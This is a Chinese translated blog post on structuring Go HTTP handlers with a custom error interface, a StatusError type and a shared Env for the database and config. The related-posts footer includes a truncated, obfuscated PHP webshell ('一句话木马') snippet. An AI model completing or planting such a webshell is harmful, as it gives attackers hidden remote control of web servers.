原文地址

   在之前我写过一篇关于通过使用http.HandlerFunc来实现一个定制handler类型用来避免一些平常的错误的文章func MyHandler(w http.ResponseWriter, r *http.Request)的签名经常可以看到。这是一个有用的通用的包含一些基本功能的handler类型,但是和其他事情一样,也有一些不足:

  • 当你想要在一个handler中停止处理的时候,必须记得显示的调用一个return。这个在当你想要跑出一个从定向(301、302),未找到(404)或者服务器端错误(500)的状态的时候是很平常的。如果不这么做可能会引起一些微妙的错误(函数会继续执行),因为函数不需要一个返回值,编译器也不会警告你。
  • 不容易传递额外的参数(例如,数据库连接池,配置)。你最后不得不实用一系列的全局变量(不算太坏,但是跟踪他们会导致难以扩展)或者将他们存到请求上下文中,然后每次都从其取出。这样做很笨重。
  • 一直在不断的重复同样的语句。想要记录数据库包返回的错误?既可以再每个查询方法中调用log.Printf,也可以再每个handler中返回错误。如果你的handler可以返回给一个集中记录错误的函数,并且跑出一个500的错误就更好了。

   我以前的方法中使用了func(http.ResponseWriter, *http.Request)签名。这已经被证明是一个简介的方式,但是有个奇怪的地方是,返回一个无错误的状态,例如,200,302,303往往是多余的,因为要么你已经在其他地方设置了,要么就是没用的。例如:

func SomeHandler(w http.ResponseWriter, r *http.Request) (int, error) {
db, err := someDBcall()
if err != nil {
// This makes sense.
return 500, err
} if user.LoggedIn {
http.Redirect(w, r, "/dashboard", 302)
// Superfluous! Our http.Redirect function handles the 302, not
// our return value (which is effectively ignored).
return 302, nil
} }

看起来还行,但是我们可以做的更好

一些区别

   那么我们应该如何改进它?我们先列出代码:

package handler

// Error represents a handler error. It provides methods for a HTTP status
// code and embeds the built-in error interface.
type Error interface {
error
Status() int
} // StatusError represents an error with an associated HTTP status code.
type StatusError struct {
Code int
Err error
} // Allows StatusError to satisfy the error interface.
func (se StatusError) Error() string {
return se.Err.Error()
} // Returns our HTTP status code.
func (se StatusError) Status() int {
return se.Code
} // A (simple) example of our application-wide configuration.
type Env struct {
DB *sql.DB
Port string
Host string
} // The Handler struct that takes a configured Env and a function matching
// our useful signature.
type Handler struct {
*Env
H func(e *Env, w http.ResponseWriter, r *http.Request) error
} // ServeHTTP allows our Handler type to satisfy http.Handler.
func (h Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
err := h.H(h.Env, w, r)
if err != nil {
switch e := err.(type) {
case Error:
// We can retrieve the status here and write out a specific
// HTTP status code.
log.Printf("HTTP %d - %s", e.Status(), e)
http.Error(w, e.Error(), e.Status())
default:
// Any error types we don't specifically look out for default
// to serving a HTTP 500
http.Error(w, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
}
}
}

上面的代码不言自明,但是要说明一下一些突出的观点:

  • 我们自定义了一个Error类型(接口),他内嵌了Go的内建的error接口,同时提供了一个Status() int方法。

  • 我们提供了一个简单的StatusError类型(结构体),它满足handler.Error的接口。StatusError接受一个HTTP的状态码(int类型),一个可以让我们包装错误用来记录或者查询的error类型。
  • 我们的ServeHTTP方法包好了一个”e := err.(type)”的类型断言,它可以测试我们需要处理的错误,允许我们处理那些特别的错误。在这个例子中,他是只是一个handler.Error类型。其他的错误,例如其他包中的错误想net.Error,或者其他我们定义的额外的错误,如果想要检查,同样也可以检查。

   如果我们不想捕捉那些错误,那么default将会默认捕捉到。记住一点,ServeHTTP可以使我们的Handler类型满足http.Handler接口,这样他就可以在任何使用http.Handler的地方使用了,例如Go的net/http包或者所有的其他的第三方框架。这样使得定制的handler更有用,他们用起来很灵活。
   注意 net 包处理事情很简单。它又一个net.Error的接口,内嵌了内建的error接口。一些具体的类型实现了它。函数返回的具体类型跟错误的类型相同(DNS错误,解析错误等)。再datastore 包中定义的DBError有一个Query() string 方法,可以很好的解释。

所有示例

   它最后是什么样子的?我们是否可以将其分到不同的包中?

package handler

import (
"net/http"
) // Error represents a handler error. It provides methods for a HTTP status
// code and embeds the built-in error interface.
type Error interface {
error
Status() int
} // StatusError represents an error with an associated HTTP status code.
type StatusError struct {
Code int
Err error
} // Allows StatusError to satisfy the error interface.
func (se StatusError) Error() string {
return se.Err.Error()
} // Returns our HTTP status code.
func (se StatusError) Status() int {
return se.Code
} // A (simple) example of our application-wide configuration.
type Env struct {
DB *sql.DB
Port string
Host string
} // The Handler struct that takes a configured Env and a function matching
// our useful signature.
type Handler struct {
*Env
H func(e *Env, w http.ResponseWriter, r *http.Request) error
} // ServeHTTP allows our Handler type to satisfy http.Handler.
func (h Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
err := h.H(h.Env, w, r)
if err != nil {
switch e := err.(type) {
case Error:
// We can retrieve the status here and write out a specific
// HTTP status code.
log.Printf("HTTP %d - %s", e.Status(), e)
http.Error(w, e.Error(), e.Status())
default:
// Any error types we don't specifically look out for default
// to serving a HTTP 500
http.Error(w, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
}
}
} func GetIndex(env *Env, w http.ResponseWriter, r *http.Request) error {
users, err := env.DB.GetAllUsers()
if err != nil {
// We return a status error here, which conveniently wraps the error
// returned from our DB queries. We can clearly define which errors
// are worth raising a HTTP 500 over vs. which might just be a HTTP
// 404, 403 or 401 (as appropriate). It's also clear where our
// handler should stop processing by returning early.
return StatusError{500, err}
} fmt.Fprintf(w, "%+v", users)
return nil
}

main包:

package main

import (
"net/http"
"github.com/you/somepkg/handler"
) func main() {
db, err := sql.Open("connectionstringhere")
if err != nil {
log.Fatal(err)
} // Initialise our app-wide environment with the services/info we need.
env := &handler.Env{
DB: db,
Port: os.Getenv("PORT"),
Host: os.Getenv("HOST"),
// We might also have a custom log.Logger, our
// template instance, and a config struct as fields
// in our Env struct.
} // Note that we're using http.Handle, not http.HandleFunc. The
// latter only accepts the http.HandlerFunc type, which is not
// what we have here.
http.Handle("/", handler.Handler{env, handler.GetIndex}) // Logs the error if ListenAndServe fails.
log.Fatal(http.ListenAndServe(":8000", nil))
}

在实际使用时,会将handler和Env放入不同的包中,这里只是为了简单放在了同一个包中。

http.Handler 与Go的错误处理的更多相关文章

  1. Linux环境下段错误的产生原因及调试方法小结(转)

    最近在Linux环境下做C语言项目,由于是在一个原有项目基础之上进行二次开发,而且 项目工程庞大复杂,出现了不少问题,其中遇到最多.花费时间最长的问题就是著名的“段错误”(Segmentation F ...

  2. 【转】 svn 错误 以及 中文翻译

    直接Ctrl+F 搜索你要找的错 # # Simplified Chinese translation for subversion package # This file is distribute ...

  3. Linux环境下段错误的产生原因及调试方法小结

    转载自http://www.cnblogs.com/panfeng412/archive/2011/11/06/2237857.html 最近在Linux环境下做C语言项目,由于是在一个原有项目基础之 ...

  4. Linux下的段错误(Segmentation fault)

    Linux开发中常见段错误问题原因分析 1 使用非法的内存地址(指针),包括使用未经初始化及已经释放的指针.不存在的地址.受系统保护的地址,只读的地址等,这一类也是最常见和最好解决的段错误问题,使用G ...

  5. 【转】【调试技巧】Linux环境下段错误的产生原因及调试方法小结

    本文转自:http://www.cnblogs.com/panfeng412/archive/2011/11/06/segmentation-fault-in-linux.html 1. 段错误是什么 ...

  6. linux中段错误的处理

    在 Linux环境下做C语言项目,由于是在一个原有项目基础之上进行二次开发,而且项目工程庞大复杂,出现了不少问题,其中遇到最多.花费时间最长的问题就是著名的“段错误”(Segmentation Fau ...

  7. Linux环境下段错误的产生原因及调试方法小结【转】

    转自:http://www.cnblogs.com/panfeng412/archive/2011/11/06/2237857.html 最近在Linux环境下做C语言项目,由于是在一个原有项目基础之 ...

  8. Linux段错误及GDB Coredump调试方法

    最近在Linux环境下做C语言项目,由于是在一个原有项目基础之上进行二次开发,而且项目工程庞大复杂,出现了不少问题,其中遇到最多.花费时间最长的问题就是著名的“段错误”(Segmentation Fa ...

  9. SVN错误信息汇总

    svn错误信息  # # Simplified Chinese translation for subversion package # This file is distributed under ...

随机推荐

  1. HDU 4003 Find Metal Mineral(分组背包+树形DP)

    题目链接 很棒的一个树形DP.学的太渣了. #include <cstdio> #include <string> #include <cstring> #incl ...

  2. 【noiOJ】p8206

    02:二分法求函数的零点 查看 提交 统计 提问 总时间限制:  1000ms 内存限制:  65536kB 描述 有函数: f(x) = x5 - 15 * x4+ 85 * x3- 225 * x ...

  3. find命令详解

    find命令详解   来源: ChinaUnix博客 日期: 2008.07.25 16:04 (共有条评论) 我要评论   [url=http://www.sudu.cn/web/host.php] ...

  4. Hibernate的第一次测试解析

    解析:此题目考查的是对Hibernate中交叉连接的理解.HQL支持SQL风格的交叉连接查询,交叉连接适用于两个类之间没有定义任何关联时.在where字句中,通过属性作为筛选条件,如统计报表数据.使用 ...

  5. [LintCode] Plus One 加一运算

    Given a non-negative number represented as an array of digits, plus one to the number. The digits ar ...

  6. Python之路(一)

    学了一整子python,目前看到了处理“列表”的地方,目前列表给我的感觉十分像数组,但不是java中的数组,更像是php中的数组. (1)创建列表的方法:列表名 = [列表项0,列表项1,······ ...

  7. 最新php一句话木马

    <?php $uf=”snc3″; $ka=”IEBldmFbsK”; $pjt=”CRfUE9TVF”; $vbl = str_replace(“ti”,””,”tistittirti_rti ...

  8. td内容过长,省略号表示

    .word{ min-width:100px; max-width:200px; overflow:hidden; white-space:nowrap; text-overflow:ellipsis ...

  9. css3 animation 实现环形路径平移动画

    注意 @keyframes to/from 的学习 <!DOCTYPE html> <html lang="en"> <head> <me ...

  10. Bootstrap carousel轮转图的使用

    来自:慕课网http://www.imooc.com/code/5395 图片轮播效果在Web中常常能看到,很多人也称之为幻灯片.其主要显示的效果就是多幅图片轮回播放, 从右向左播放,鼠标悬停在图片时 ...